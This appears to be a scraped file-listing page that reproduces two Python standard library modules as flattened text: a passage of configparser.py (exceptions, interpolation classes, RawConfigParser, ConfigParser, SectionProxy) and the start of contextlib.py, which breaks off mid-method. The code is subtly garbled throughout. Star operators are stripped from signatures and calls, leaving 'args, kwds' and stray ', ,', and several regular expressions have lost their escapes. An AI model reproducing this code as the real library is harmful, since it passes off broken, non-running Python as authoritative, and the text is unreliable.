__init__(self, section, option, source=None, lineno=None): msg = [repr(option), " in section ", repr(section), " already exists"] if source is not None: message = ["While reading from ", repr(source)] if lineno is not None: message.append(" [line {0:2d}]".format(lineno)) message.append(": option ") message.extend(msg) msg = message else: msg.insert(0, "Option ") Error.__init__(self, "".join(msg)) self.section = section self.option = option self.source = source self.lineno = lineno self.args = (section, option, source, lineno) class NoOptionError(Error): """A requested option was not found.""" def __init__(self, option, section): Error.__init__(self, "No option %r in section: %r" % (option, section)) self.option = option self.section = section self.args = (option, section) class InterpolationError(Error): """Base class for interpolation-related exceptions.""" def __init__(self, option, section, msg): Error.__init__(self, msg) self.option = option self.section = section self.args = (option, section, msg) class InterpolationMissingOptionError(InterpolationError): """A string substitution required a setting which was not available.""" def __init__(self, option, section, rawval, reference): msg = ("Bad value substitution: option {!r} in section {!r} contains " "an interpolation key {!r} which is not a valid option name. " "Raw value: {!r}".format(option, section, reference, rawval)) InterpolationError.__init__(self, option, section, msg) self.reference = reference self.args = (option, section, rawval, reference) class InterpolationSyntaxError(InterpolationError): """Raised when the source text contains invalid syntax. Current implementation raises this exception when the source text into which substitutions are made does not conform to the required syntax. """ class InterpolationDepthError(InterpolationError): """Raised when substitutions are nested too deeply.""" def __init__(self, option, section, rawval): msg = ("Recursion limit exceeded in value substitution: option {!r} " "in section {!r} contains an interpolation key which " "cannot be substituted in {} steps. Raw value: {!r}" "".format(option, section, MAX_INTERPOLATION_DEPTH, rawval)) InterpolationError.__init__(self, option, section, msg) self.args = (option, section, rawval) class ParsingError(Error): """Raised when a configuration file does not follow legal syntax.""" def __init__(self, source=None, filename=None): # Exactly one of `source'/`filename' arguments has to be given. # `filename' kept for compatibility. if filename and source: raise ValueError("Cannot specify both `filename' and `source'. " "Use `source'.") elif not filename and not source: raise ValueError("Required argument `source' not given.") elif filename: source = filename Error.__init__(self, 'Source contains parsing errors: %r' % source) self.source = source self.errors = [] self.args = (source, ) @property def filename(self): """Deprecated, use `source'.""" warnings.warn( "The 'filename' attribute will be removed in future versions. " "Use 'source' instead.", DeprecationWarning, stacklevel=2 ) return self.source @filename.setter def filename(self, value): """Deprecated, user `source'.""" warnings.warn( "The 'filename' attribute will be removed in future versions. " "Use 'source' instead.", DeprecationWarning, stacklevel=2 ) self.source = value def append(self, lineno, line): self.errors.append((lineno, line)) self.message += '\n\t[line %2d]: %s' % (lineno, line) class MissingSectionHeaderError(ParsingError): """Raised when a key-value pair is found before any section header.""" def __init__(self, filename, lineno, line): Error.__init__( self, 'File contains no section headers.\nfile: %r, line: %d\n%r' % (filename, lineno, line)) self.source = filename self.lineno = lineno self.line = line self.args = (filename, lineno, line) # Used in parser getters to indicate the default behaviour when a specific # option is not found it to raise an exception. Created to enable `None' as # a valid fallback value. _UNSET = object() class Interpolation: """Dummy interpolation that passes the value through with no changes.""" def before_get(self, parser, section, option, value, defaults): return value def before_set(self, parser, section, option, value): return value def before_read(self, parser, section, option, value): return value def before_write(self, parser, section, option, value): return value class BasicInterpolation(Interpolation): """Interpolation as implemented in the classic ConfigParser. The option values can contain format strings which refer to other values in the same section, or values in the special default section. For example: something: %(dir)s/whatever would resolve the "%(dir)s" to the value of dir. All reference expansions are done late, on demand. If a user needs to use a bare % in a configuration file, she can escape it by writing %%. Other % usage is considered a user error and raises `InterpolationSyntaxError'.""" _KEYCRE = re.compile(r"%$([^)]+)$s") def before_get(self, parser, section, option, value, defaults): L = [] self._interpolate_some(parser, option, L, value, section, defaults, 1) return ''.join(L) def before_set(self, parser, section, option, value): tmp_value = value.replace('%%', '') # escaped percent signs tmp_value = self._KEYCRE.sub('', tmp_value) # valid syntax if '%' in tmp_value: raise ValueError("invalid interpolation syntax in %r at " "position %d" % (value, tmp_value.find('%'))) return value def _interpolate_some(self, parser, option, accum, rest, section, map, depth): rawval = parser.get(section, option, raw=True, fallback=rest) if depth > MAX_INTERPOLATION_DEPTH: raise InterpolationDepthError(option, section, rawval) while rest: p = rest.find("%") if p < 0: accum.append(rest) return if p > 0: accum.append(rest[:p]) rest = rest[p:] # p is no longer used c = rest[1:2] if c == "%": accum.append("%") rest = rest[2:] elif c == "(": m = self._KEYCRE.match(rest) if m is None: raise InterpolationSyntaxError(option, section, "bad interpolation variable reference %r" % rest) var = parser.optionxform(m.group(1)) rest = rest[m.end():] try: v = map[var] except KeyError: raise InterpolationMissingOptionError( option, section, rawval, var) from None if "%" in v: self._interpolate_some(parser, option, accum, v, section, map, depth + 1) else: accum.append(v) else: raise InterpolationSyntaxError( option, section, "'%%' must be followed by '%%' or '(', " "found: %r" % (rest,)) class ExtendedInterpolation(Interpolation): """Advanced variant of interpolation, supports the syntax used by `zc.buildout'. Enables interpolation between sections.""" _KEYCRE = re.compile(r"\$\{([^}]+)\}") def before_get(self, parser, section, option, value, defaults): L = [] self._interpolate_some(parser, option, L, value, section, defaults, 1) return ''.join(L) def before_set(self, parser, section, option, value): tmp_value = value.replace('$$', '') # escaped dollar signs tmp_value = self._KEYCRE.sub('', tmp_value) # valid syntax if '$' in tmp_value: raise ValueError("invalid interpolation syntax in %r at " "position %d" % (value, tmp_value.find('$'))) return value def _interpolate_some(self, parser, option, accum, rest, section, map, depth): rawval = parser.get(section, option, raw=True, fallback=rest) if depth > MAX_INTERPOLATION_DEPTH: raise InterpolationDepthError(option, section, rawval) while rest: p = rest.find("$") if p < 0: accum.append(rest) return if p > 0: accum.append(rest[:p]) rest = rest[p:] # p is no longer used c = rest[1:2] if c == "$": accum.append("$") rest = rest[2:] elif c == "{": m = self._KEYCRE.match(rest) if m is None: raise InterpolationSyntaxError(option, section, "bad interpolation variable reference %r" % rest) path = m.group(1).split(':') rest = rest[m.end():] sect = section opt = option try: if len(path) == 1: opt = parser.optionxform(path[0]) v = map[opt] elif len(path) == 2: sect = path[0] opt = parser.optionxform(path[1]) v = parser.get(sect, opt, raw=True) else: raise InterpolationSyntaxError( option, section, "More than one ':' found: %r" % (rest,)) except (KeyError, NoSectionError, NoOptionError): raise InterpolationMissingOptionError( option, section, rawval, ":".join(path)) from None if "$" in v: self._interpolate_some(parser, opt, accum, v, sect, dict(parser.items(sect, raw=True)), depth + 1) else: accum.append(v) else: raise InterpolationSyntaxError( option, section, "'$' must be followed by '$' or '{', " "found: %r" % (rest,)) class LegacyInterpolation(Interpolation): """Deprecated interpolation used in old versions of ConfigParser. Use BasicInterpolation or ExtendedInterpolation instead.""" _KEYCRE = re.compile(r"%$([^)])$s\|.") def before_get(self, parser, section, option, value, vars): rawval = value depth = MAX_INTERPOLATION_DEPTH while depth: # Loop through this until it's done depth -= 1 if value and "%(" in value: replace = functools.partial(self._interpolation_replace, parser=parser) value = self._KEYCRE.sub(replace, value) try: value = value % vars except KeyError as e: raise InterpolationMissingOptionError( option, section, rawval, e.args[0]) from None else: break if value and "%(" in value: raise InterpolationDepthError(option, section, rawval) return value def before_set(self, parser, section, option, value): return value @staticmethod def _interpolation_replace(match, parser): s = match.group(1) if s is None: return match.group() else: return "%%(%s)s" % parser.optionxform(s) class RawConfigParser(MutableMapping): """ConfigParser that does not do interpolation.""" # Regular expressions for parsing section headers and options _SECT_TMPL = r""" \[ # [ (?P<header>[^]]+) # very permissive! \] # ] """ _OPT_TMPL = r""" (?P<option>.?) # very permissive! \s(?P<vi>{delim})\s* # any number of space/tab, # followed by any of the # allowed delimiters, # followed by any space/tab (?P<value>.)$ # everything up to eol """ _OPT_NV_TMPL = r""" (?P<option>.?) # very permissive! \s(?: # any number of space/tab, (?P<vi>{delim})\s # optionally followed by # any of the allowed # delimiters, followed by any # space/tab (?P<value>.))?$ # everything up to eol """ # Interpolation algorithm to be used if the user does not specify another _DEFAULT_INTERPOLATION = Interpolation() # Compiled regular expression for matching sections SECTCRE = re.compile(_SECT_TMPL, re.VERBOSE) # Compiled regular expression for matching options with typical separators OPTCRE = re.compile(_OPT_TMPL.format(delim="=\|:"), re.VERBOSE) # Compiled regular expression for matching options with optional values # delimited using typical separators OPTCRE_NV = re.compile(_OPT_NV_TMPL.format(delim="=\|:"), re.VERBOSE) # Compiled regular expression for matching leading whitespace in a line NONSPACECRE = re.compile(r"\S") # Possible boolean values in the configuration. BOOLEAN_STATES = {'1': True, 'yes': True, 'true': True, 'on': True, '0': False, 'no': False, 'false': False, 'off': False} def __init__(self, defaults=None, dict_type=_default_dict, allow_no_value=False, , delimiters=('=', ':'), comment_prefixes=('#', ';'), inline_comment_prefixes=None, strict=True, empty_lines_in_values=True, default_section=DEFAULTSECT, interpolation=_UNSET, converters=_UNSET): self._dict = dict_type self._sections = self._dict() self._defaults = self._dict() self._converters = ConverterMapping(self) self._proxies = self._dict() self._proxies[default_section] = SectionProxy(self, default_section) self._delimiters = tuple(delimiters) if delimiters == ('=', ':'): self._optcre = self.OPTCRE_NV if allow_no_value else self.OPTCRE else: d = "\|".join(re.escape(d) for d in delimiters) if allow_no_value: self._optcre = re.compile(self._OPT_NV_TMPL.format(delim=d), re.VERBOSE) else: self._optcre = re.compile(self._OPT_TMPL.format(delim=d), re.VERBOSE) self._comment_prefixes = tuple(comment_prefixes or ()) self._inline_comment_prefixes = tuple(inline_comment_prefixes or ()) self._strict = strict self._allow_no_value = allow_no_value self._empty_lines_in_values = empty_lines_in_values self.default_section=default_section self._interpolation = interpolation if self._interpolation is _UNSET: self._interpolation = self._DEFAULT_INTERPOLATION if self._interpolation is None: self._interpolation = Interpolation() if converters is not _UNSET: self._converters.update(converters) if defaults: self._read_defaults(defaults) def defaults(self): return self._defaults def sections(self): """Return a list of section names, excluding [DEFAULT]""" # self._sections will never have [DEFAULT] in it return list(self._sections.keys()) def add_section(self, section): """Create a new section in the configuration. Raise DuplicateSectionError if a section by the specified name already exists. Raise ValueError if name is DEFAULT. """ if section == self.default_section: raise ValueError('Invalid section name: %r' % section) if section in self._sections: raise DuplicateSectionError(section) self._sections[section] = self._dict() self._proxies[section] = SectionProxy(self, section) def has_section(self, section): """Indicate whether the named section is present in the configuration. The DEFAULT section is not acknowledged. """ return section in self._sections def options(self, section): """Return a list of option names for the given section name.""" try: opts = self._sections[section].copy() except KeyError: raise NoSectionError(section) from None opts.update(self._defaults) return list(opts.keys()) def read(self, filenames, encoding=None): """Read and parse a filename or an iterable of filenames. Files that cannot be opened are silently ignored; this is designed so that you can specify an iterable of potential configuration file locations (e.g. current directory, user's home directory, systemwide directory), and all existing configuration files in the iterable will be read. A single filename may also be given. Return list of successfully read files. """ if isinstance(filenames, (str, bytes, os.PathLike)): filenames = [filenames] read_ok = [] for filename in filenames: try: with open(filename, encoding=encoding) as fp: self._read(fp, filename) except OSError: continue if isinstance(filename, os.PathLike): filename = os.fspath(filename) read_ok.append(filename) return read_ok def read_file(self, f, source=None): """Like read() but the argument must be a file-like object. The `f' argument must be iterable, returning one line at a time. Optional second argument is the `source' specifying the name of the file being read. If not given, it is taken from f.name. If `f' has no `name' attribute, `<???>' is used. """ if source is None: try: source = f.name except AttributeError: source = '<???>' self._read(f, source) def read_string(self, string, source='<string>'): """Read configuration from a given string.""" sfile = io.StringIO(string) self.read_file(sfile, source) def read_dict(self, dictionary, source='<dict>'): """Read configuration from a dictionary. Keys are section names, values are dictionaries with keys and values that should be present in the section. If the used dictionary type preserves order, sections and their keys will be added in order. All types held in the dictionary are converted to strings during reading, including section names, option names and keys. Optional second argument is the `source' specifying the name of the dictionary being read. """ elements_added = set() for section, keys in dictionary.items(): section = str(section) try: self.add_section(section) except (DuplicateSectionError, ValueError): if self._strict and section in elements_added: raise elements_added.add(section) for key, value in keys.items(): key = self.optionxform(str(key)) if value is not None: value = str(value) if self._strict and (section, key) in elements_added: raise DuplicateOptionError(section, key, source) elements_added.add((section, key)) self.set(section, key, value) def readfp(self, fp, filename=None): """Deprecated, use read_file instead.""" warnings.warn( "This method will be removed in future versions. " "Use 'parser.read_file()' instead.", DeprecationWarning, stacklevel=2 ) self.read_file(fp, source=filename) def get(self, section, option, , raw=False, vars=None, fallback=_UNSET): """Get an option value for a given section. If `vars' is provided, it must be a dictionary. The option is looked up in `vars' (if provided), `section', and in `DEFAULTSECT' in that order. If the key is not found and `fallback' is provided, it is used as a fallback value. `None' can be provided as a `fallback' value. If interpolation is enabled and the optional argument `raw' is False, all interpolations are expanded in the return values. Arguments `raw', `vars', and `fallback' are keyword only. The section DEFAULT is special. """ try: d = self._unify_values(section, vars) except NoSectionError: if fallback is _UNSET: raise else: return fallback option = self.optionxform(option) try: value = d[option] except KeyError: if fallback is _UNSET: raise NoOptionError(option, section) else: return fallback if raw or value is None: return value else: return self._interpolation.before_get(self, section, option, value, d) def _get(self, section, conv, option, kwargs): return conv(self.get(section, option, kwargs)) def _get_conv(self, section, option, conv, , raw=False, vars=None, fallback=_UNSET, kwargs): try: return self._get(section, conv, option, raw=raw, vars=vars, kwargs) except (NoSectionError, NoOptionError): if fallback is _UNSET: raise return fallback # getint, getfloat and getboolean provided directly for backwards compat def getint(self, section, option, , raw=False, vars=None, fallback=_UNSET, kwargs): return self._get_conv(section, option, int, raw=raw, vars=vars, fallback=fallback, kwargs) def getfloat(self, section, option, , raw=False, vars=None, fallback=_UNSET, kwargs): return self._get_conv(section, option, float, raw=raw, vars=vars, fallback=fallback, kwargs) def getboolean(self, section, option, , raw=False, vars=None, fallback=_UNSET, kwargs): return self._get_conv(section, option, self._convert_to_boolean, raw=raw, vars=vars, fallback=fallback, kwargs) def items(self, section=_UNSET, raw=False, vars=None): """Return a list of (name, value) tuples for each option in a section. All % interpolations are expanded in the return values, based on the defaults passed into the constructor, unless the optional argument `raw' is true. Additional substitutions may be provided using the `vars' argument, which must be a dictionary whose contents overrides any pre-existing defaults. The section DEFAULT is special. """ if section is _UNSET: return super().items() d = self._defaults.copy() try: d.update(self._sections[section]) except KeyError: if section != self.default_section: raise NoSectionError(section) # Update with the entry specific variables if vars: for key, value in vars.items(): d[self.optionxform(key)] = value value_getter = lambda option: self._interpolation.before_get(self, section, option, d[option], d) if raw: value_getter = lambda option: d[option] return [(option, value_getter(option)) for option in d.keys()] def popitem(self): """Remove a section from the parser and return it as a (section_name, section_proxy) tuple. If no section is present, raise KeyError. The section DEFAULT is never returned because it cannot be removed. """ for key in self.sections(): value = self[key] del self[key] return key, value raise KeyError def optionxform(self, optionstr): return optionstr.lower() def has_option(self, section, option): """Check for the existence of a given option in a given section. If the specified `section' is None or an empty string, DEFAULT is assumed. If the specified `section' does not exist, returns False.""" if not section or section == self.default_section: option = self.optionxform(option) return option in self._defaults elif section not in self._sections: return False else: option = self.optionxform(option) return (option in self._sections[section] or option in self._defaults) def set(self, section, option, value=None): """Set an option.""" if value: value = self._interpolation.before_set(self, section, option, value) if not section or section == self.default_section: sectdict = self._defaults else: try: sectdict = self._sections[section] except KeyError: raise NoSectionError(section) from None sectdict[self.optionxform(option)] = value def write(self, fp, space_around_delimiters=True): """Write an .ini-format representation of the configuration state. If `space_around_delimiters' is True (the default), delimiters between keys and values are surrounded by spaces. """ if space_around_delimiters: d = " {} ".format(self._delimiters[0]) else: d = self._delimiters[0] if self._defaults: self._write_section(fp, self.default_section, self._defaults.items(), d) for section in self._sections: self._write_section(fp, section, self._sections[section].items(), d) def _write_section(self, fp, section_name, section_items, delimiter): """Write a single section to the specified `fp'.""" fp.write("[{}]\n".format(section_name)) for key, value in section_items: value = self._interpolation.before_write(self, section_name, key, value) if value is not None or not self._allow_no_value: value = delimiter + str(value).replace('\n', '\n\t') else: value = "" fp.write("{}{}\n".format(key, value)) fp.write("\n") def remove_option(self, section, option): """Remove an option.""" if not section or section == self.default_section: sectdict = self._defaults else: try: sectdict = self._sections[section] except KeyError: raise NoSectionError(section) from None option = self.optionxform(option) existed = option in sectdict if existed: del sectdict[option] return existed def remove_section(self, section): """Remove a file section.""" existed = section in self._sections if existed: del self._sections[section] del self._proxies[section] return existed def __getitem__(self, key): if key != self.default_section and not self.has_section(key): raise KeyError(key) return self._proxies[key] def __setitem__(self, key, value): # To conform with the mapping protocol, overwrites existing values in # the section. # XXX this is not atomic if read_dict fails at any point. Then again, # no update method in configparser is atomic in this implementation. if key == self.default_section: self._defaults.clear() elif key in self._sections: self._sections[key].clear() self.read_dict({key: value}) def __delitem__(self, key): if key == self.default_section: raise ValueError("Cannot remove the default section.") if not self.has_section(key): raise KeyError(key) self.remove_section(key) def __contains__(self, key): return key == self.default_section or self.has_section(key) def __len__(self): return len(self._sections) + 1 # the default section def __iter__(self): # XXX does it break when underlying container state changed? return itertools.chain((self.default_section,), self._sections.keys()) def _read(self, fp, fpname): """Parse a sectioned configuration file. Each section in a configuration file contains a header, indicated by a name in square brackets (`[]'), plus key/value options, indicated by `name' and `value' delimited with a specific substring (`=' or `:' by default). Values can span multiple lines, as long as they are indented deeper than the first line of the value. Depending on the parser's mode, blank lines may be treated as parts of multiline values or ignored. Configuration files may include comments, prefixed by specific characters (`#' and `;' by default). Comments may appear on their own in an otherwise empty line or may be entered in lines holding values or section names. """ elements_added = set() cursect = None # None, or a dictionary sectname = None optname = None lineno = 0 indent_level = 0 e = None # None, or an exception for lineno, line in enumerate(fp, start=1): comment_start = sys.maxsize # strip inline comments inline_prefixes = {p: -1 for p in self._inline_comment_prefixes} while comment_start == sys.maxsize and inline_prefixes: next_prefixes = {} for prefix, index in inline_prefixes.items(): index = line.find(prefix, index+1) if index == -1: continue next_prefixes[prefix] = index if index == 0 or (index > 0 and line[index-1].isspace()): comment_start = min(comment_start, index) inline_prefixes = next_prefixes # strip full line comments for prefix in self._comment_prefixes: if line.strip().startswith(prefix): comment_start = 0 break if comment_start == sys.maxsize: comment_start = None value = line[:comment_start].strip() if not value: if self._empty_lines_in_values: # add empty line to the value, but only if there was no # comment on the line if (comment_start is None and cursect is not None and optname and cursect[optname] is not None): cursect[optname].append('') # newlines added at join else: # empty line marks end of value indent_level = sys.maxsize continue # continuation line? first_nonspace = self.NONSPACECRE.search(line) cur_indent_level = first_nonspace.start() if first_nonspace else 0 if (cursect is not None and optname and cur_indent_level > indent_level): cursect[optname].append(value) # a section header or option header? else: indent_level = cur_indent_level # is it a section header? mo = self.SECTCRE.match(value) if mo: sectname = mo.group('header') if sectname in self._sections: if self._strict and sectname in elements_added: raise DuplicateSectionError(sectname, fpname, lineno) cursect = self._sections[sectname] elements_added.add(sectname) elif sectname == self.default_section: cursect = self._defaults else: cursect = self._dict() self._sections[sectname] = cursect self._proxies[sectname] = SectionProxy(self, sectname) elements_added.add(sectname) # So sections can't start with a continuation line optname = None # no section header in the file? elif cursect is None: raise MissingSectionHeaderError(fpname, lineno, line) # an option line? else: mo = self._optcre.match(value) if mo: optname, vi, optval = mo.group('option', 'vi', 'value') if not optname: e = self._handle_error(e, fpname, lineno, line) optname = self.optionxform(optname.rstrip()) if (self._strict and (sectname, optname) in elements_added): raise DuplicateOptionError(sectname, optname, fpname, lineno) elements_added.add((sectname, optname)) # This check is fine because the OPTCRE cannot # match if it would set optval to None if optval is not None: optval = optval.strip() cursect[optname] = [optval] else: # valueless option handling cursect[optname] = None else: # a non-fatal parsing error occurred. set up the # exception but keep going. the exception will be # raised at the end of the file and will contain a # list of all bogus lines e = self._handle_error(e, fpname, lineno, line) self._join_multiline_values() # if any parsing errors occurred, raise an exception if e: raise e def _join_multiline_values(self): defaults = self.default_section, self._defaults all_sections = itertools.chain((defaults,), self._sections.items()) for section, options in all_sections: for name, val in options.items(): if isinstance(val, list): val = '\n'.join(val).rstrip() options[name] = self._interpolation.before_read(self, section, name, val) def _read_defaults(self, defaults): """Read the defaults passed in the initializer. Note: values can be non-string.""" for key, value in defaults.items(): self._defaults[self.optionxform(key)] = value def _handle_error(self, exc, fpname, lineno, line): if not exc: exc = ParsingError(fpname) exc.append(lineno, repr(line)) return exc def _unify_values(self, section, vars): """Create a sequence of lookups with 'vars' taking priority over the 'section' which takes priority over the DEFAULTSECT. """ sectiondict = {} try: sectiondict = self._sections[section] except KeyError: if section != self.default_section: raise NoSectionError(section) from None # Update with the entry specific variables vardict = {} if vars: for key, value in vars.items(): if value is not None: value = str(value) vardict[self.optionxform(key)] = value return _ChainMap(vardict, sectiondict, self._defaults) def _convert_to_boolean(self, value): """Return a boolean value translating from other types if necessary. """ if value.lower() not in self.BOOLEAN_STATES: raise ValueError('Not a boolean: %s' % value) return self.BOOLEAN_STATES[value.lower()] def _validate_value_types(self, , section="", option="", value=""): """Raises a TypeError for non-string values. The only legal non-string value if we allow valueless options is None, so we need to check if the value is a string if: - we do not allow valueless options, or - we allow valueless options but the value is not None For compatibility reasons this method is not used in classic set() for RawConfigParsers. It is invoked in every case for mapping protocol access and in ConfigParser.set(). """ if not isinstance(section, str): raise TypeError("section names must be strings") if not isinstance(option, str): raise TypeError("option keys must be strings") if not self._allow_no_value or value: if not isinstance(value, str): raise TypeError("option values must be strings") @property def converters(self): return self._converters class ConfigParser(RawConfigParser): """ConfigParser implementing interpolation.""" _DEFAULT_INTERPOLATION = BasicInterpolation() def set(self, section, option, value=None): """Set an option. Extends RawConfigParser.set by validating type and interpolation syntax on the value.""" self._validate_value_types(option=option, value=value) super().set(section, option, value) def add_section(self, section): """Create a new section in the configuration. Extends RawConfigParser.add_section by validating if the section name is a string.""" self._validate_value_types(section=section) super().add_section(section) def _read_defaults(self, defaults): """Reads the defaults passed in the initializer, implicitly converting values to strings like the rest of the API. Does not perform interpolation for backwards compatibility. """ try: hold_interpolation = self._interpolation self._interpolation = Interpolation() self.read_dict({self.default_section: defaults}) finally: self._interpolation = hold_interpolation class SafeConfigParser(ConfigParser): """ConfigParser alias for backwards compatibility purposes.""" def __init__(self, args, kwargs): super().__init__(args, *kwargs) warnings.warn( "The SafeConfigParser class has been renamed to ConfigParser " "in Python 3.2. This alias will be removed in future versions." " Use ConfigParser directly instead.", DeprecationWarning, stacklevel=2 ) class SectionProxy(MutableMapping): """A proxy for a single section from a parser.""" def __init__(self, parser, name): """Creates a view on a section of the specified `name` in `parser`.""" self._parser = parser self._name = name for conv in parser.converters: key = 'get' + conv getter = functools.partial(self.get, _impl=getattr(parser, key)) setattr(self, key, getter) def __repr__(self): return '<Section: {}>'.format(self._name) def __getitem__(self, key): if not self._parser.has_option(self._name, key): raise KeyError(key) return self._parser.get(self._name, key) def __setitem__(self, key, value): self._parser._validate_value_types(option=key, value=value) return self._parser.set(self._name, key, value) def __delitem__(self, key): if not (self._parser.has_option(self._name, key) and self._parser.remove_option(self._name, key)): raise KeyError(key) def __contains__(self, key): return self._parser.has_option(self._name, key) def __len__(self): return len(self._options()) def __iter__(self): return self._options().__iter__() def _options(self): if self._name != self._parser.default_section: return self._parser.options(self._name) else: return self._parser.defaults() @property def parser(self): # The parser object of the proxy is read-only. return self._parser @property def name(self): # The name of the section on a proxy is read-only. return self._name def get(self, option, fallback=None, , raw=False, vars=None, _impl=None, kwargs): """Get an option value. Unless `fallback` is provided, `None` will be returned if the option is not found. """ # If `_impl` is provided, it should be a getter method on the parser # object that provides the desired type conversion. if not _impl: _impl = self._parser.get return _impl(self._name, option, raw=raw, vars=vars, fallback=fallback, kwargs) class ConverterMapping(MutableMapping): """Enables reuse of get*() methods between the parser and section proxies. If a parser class implements a getter directly, the value for the given key will be ``None``. The presence of the converter name here enables section proxies to find and use the implementation on the parser class. """ GETTERCRE = re.compile(r"^get(?P<name>.+)$") def __init__(self, parser): self._parser = parser self._data = {} for getter in dir(self._parser): m = self.GETTERCRE.match(getter) if not m or not callable(getattr(self._parser, getter)): continue self._data[m.group('name')] = None # See class docstring. def __getitem__(self, key): return self._data[key] def __setitem__(self, key, value): try: k = 'get' + key except TypeError: raise ValueError('Incompatible key: {} (type: {})' ''.format(key, type(key))) if k == 'get': raise ValueError('Incompatible key: cannot use "" as a name') self._data[key] = value func = functools.partial(self._parser._get_conv, conv=value) func.converter = value setattr(self._parser, k, func) for proxy in self._parser.values(): getter = functools.partial(proxy.get, _impl=func) setattr(proxy, k, getter) def __delitem__(self, key): try: k = 'get' + (key or None) except TypeError: raise KeyError(key) del self._data[key] for inst in itertools.chain((self._parser,), self._parser.values()): try: delattr(inst, k) except AttributeError: # don't raise since the entry was present in _data, silently # clean up continue def __iter__(self): return iter(self._data) def __len__(self): return len(self._data)	53.01 KB	2024-04-17 17:55
📄 contextlib.py """Utilities for with-statement contexts. See PEP 343.""" import abc import sys import _collections_abc from collections import deque from functools import wraps __all__ = ["asynccontextmanager", "contextmanager", "closing", "nullcontext", "AbstractContextManager", "AbstractAsyncContextManager", "AsyncExitStack", "ContextDecorator", "ExitStack", "redirect_stdout", "redirect_stderr", "suppress"] class AbstractContextManager(abc.ABC): """An abstract base class for context managers.""" def __enter__(self): """Return `self` upon entering the runtime context.""" return self @abc.abstractmethod def __exit__(self, exc_type, exc_value, traceback): """Raise any exception triggered within the runtime context.""" return None @classmethod def __subclasshook__(cls, C): if cls is AbstractContextManager: return _collections_abc._check_methods(C, "__enter__", "__exit__") return NotImplemented class AbstractAsyncContextManager(abc.ABC): """An abstract base class for asynchronous context managers.""" async def __aenter__(self): """Return `self` upon entering the runtime context.""" return self @abc.abstractmethod async def __aexit__(self, exc_type, exc_value, traceback): """Raise any exception triggered within the runtime context.""" return None @classmethod def __subclasshook__(cls, C): if cls is AbstractAsyncContextManager: return _collections_abc._check_methods(C, "__aenter__", "__aexit__") return NotImplemented class ContextDecorator(object): "A base class or mixin that enables context managers to work as decorators." def _recreate_cm(self): """Return a recreated instance of self. Allows an otherwise one-shot context manager like _GeneratorContextManager to support use as a decorator via implicit recreation. This is a private interface just for _GeneratorContextManager. See issue #11647 for details. """ return self def __call__(self, func): @wraps(func) def inner(args, kwds): with self._recreate_cm(): return func(args, *kwds) return inner class _GeneratorContextManagerBase: """Shared functionality for @contextmanager and @asynccontextmanager.""" def __init__(self, func, args, kwds): self.gen = func(args, *kwds) self.func, self.args, self.kwds = func, args, kwds # Issue 19330: ensure context manager instances have good docstrings doc = getattr(func, "__doc__", None) if doc is None: doc = type(self).__doc__ self.__doc__ = doc # Unfortunately, this still doesn't provide good help output when # inspecting the created context manager instances, since pydoc # currently bypasses the instance docstring and shows the docstring # for the class instead. # See http://bugs.python.org/issue19404 for more details. class _GeneratorContextManager(_GeneratorContextManagerBase, AbstractContextManager, ContextDecorator): """Helper for @contextmanager decorator.""" def _recreate_cm(self): # _GCM instances are one-shot context managers, so the # CM must be recreated each time a decorated function is # called return self.__class__(self.func, self.args, self.kwds) def __enter__(self): # do not keep args and kwds alive unnecessarily # they are only needed for recreation, which is not possible anymore del self.args, self.kwds, self.func try: return next(self.gen) except StopIteration: raise RuntimeError("generator didn't yield") from None def __exit__(self, type, value, traceback): if type is None: try: next(self.gen) except StopIteration: return False else: raise RuntimeError("generator didn't stop") else: if value is None: # Need to force instantiation so we can reliably # tell if we get the same exception back value = type() try: self.gen.throw(type, value, traceback) except StopIteration as exc: # Suppress StopIteration unless* it's the same exception that # was passed to throw(). This prevents a StopIteration # raised inside the "with" statement from being suppressed. return exc is not value except RuntimeError as exc: # Don't re-raise the passed in exception. (issue27122) if exc is value: return False # Likewise, avoid suppressing if a StopIteration exception # was passed to throw() and later wrapped into a RuntimeError # (see PEP 479). if type is StopIteration and exc.__cause__ is value: return False raise except: # only re-raise if it's not the exception that was # passed to throw(), because __exit__() must not raise # an exception unless __exit__() itself failed. But throw() # has to raise the exception to signal propagation, so this # fixes the impedance mismatch between the throw() protocol # and the __exit__() protocol. # # This cannot use 'except BaseException as exc' (as in the # async implementation) to maintain compatibility with # Python 2, where old-style class exceptions are not caught # by 'except BaseException'. if sys.exc_info()[1] is value: return False raise raise RuntimeError("generator didn't stop after throw()") class _AsyncGeneratorContextManager(_GeneratorContextManagerBase, AbstractAsyncContextManager): """Helper for @asynccontextmanager.""" async def __aenter__(self): try: return await self.gen.__anext__() except StopAsyncIteration: raise RuntimeError("generator didn't yield") from None async def __aexit__(self, typ, value, traceback): if typ is None: try: await self.gen.__anext__() except StopAsyncIteration: return else: raise RuntimeError("generator didn't stop") else: if value is None: value = typ() # See _GeneratorContextManager.__exit__ for comments on subtleties # in this implementation try: await self.gen.athrow(typ, value, traceback) raise RuntimeError("generator didn't stop after athrow()") except StopAsyncIteration as exc: return exc is not value except RuntimeError as exc: if exc is value: return False # Avoid suppressing if a StopIteration exception # was passed to throw() and later wrapped into a RuntimeError # (see PEP 479 for sync generators; async generators also # have this behavior). But do this only if the exception wrapped # by the RuntimeError is actully Stop(Async)Iteration (see # issue29692). if isinstance(value, (StopIteration, StopAsyncIteration)): if exc.__cause__ is value: return False raise except BaseException as exc: if exc is not value: raise def contextmanager(func): """@contextmanager decorator. Typical usage: @contextmanager def some_generator(<arguments>): <setup> try: yield <value> finally: <cleanup> This makes this: with some_generator(<arguments>) as <variable>: <body> equivalent to this: <setup> try: <variable> = <value> <body> finally: <cleanup> """ @wraps(func) def helper(args, kwds): return _GeneratorContextManager(func, args, kwds) return helper def asynccontextmanager(func): """@asynccontextmanager decorator. Typical usage: @asynccontextmanager async def some_async_generator(<arguments>): <setup> try: yield <value> finally: <cleanup> This makes this: async with some_async_generator(<arguments>) as <variable>: <body> equivalent to this: <setup> try: <variable> = <value> <body> finally: <cleanup> """ @wraps(func) def helper(args, *kwds): return _AsyncGeneratorContextManager(func, args, kwds) return helper class closing(AbstractContextManager): """Context to automatically close something at the end of a block. Code like this: with closing(<module>.open(<arguments>)) as f: <block> is equivalent to this: f = <module>.open(<arguments>) try: <block> finally: f.close() """ def __init__(self, thing): self.thing = thing def __enter__(self): return self.thing def __exit__(self, exc_info): self.thing.close() class _RedirectStream(AbstractContextManager): _stream = None def __init__(self, new_target): self._new_target = new_target # We use a list of old targets to make this CM re-entrant self._old_targets = [] def __enter__(self): self._old_targets.append(getattr(sys, self._stream)) setattr(sys, self._stream, self._new_target) return self._new_target def __exit__(self, 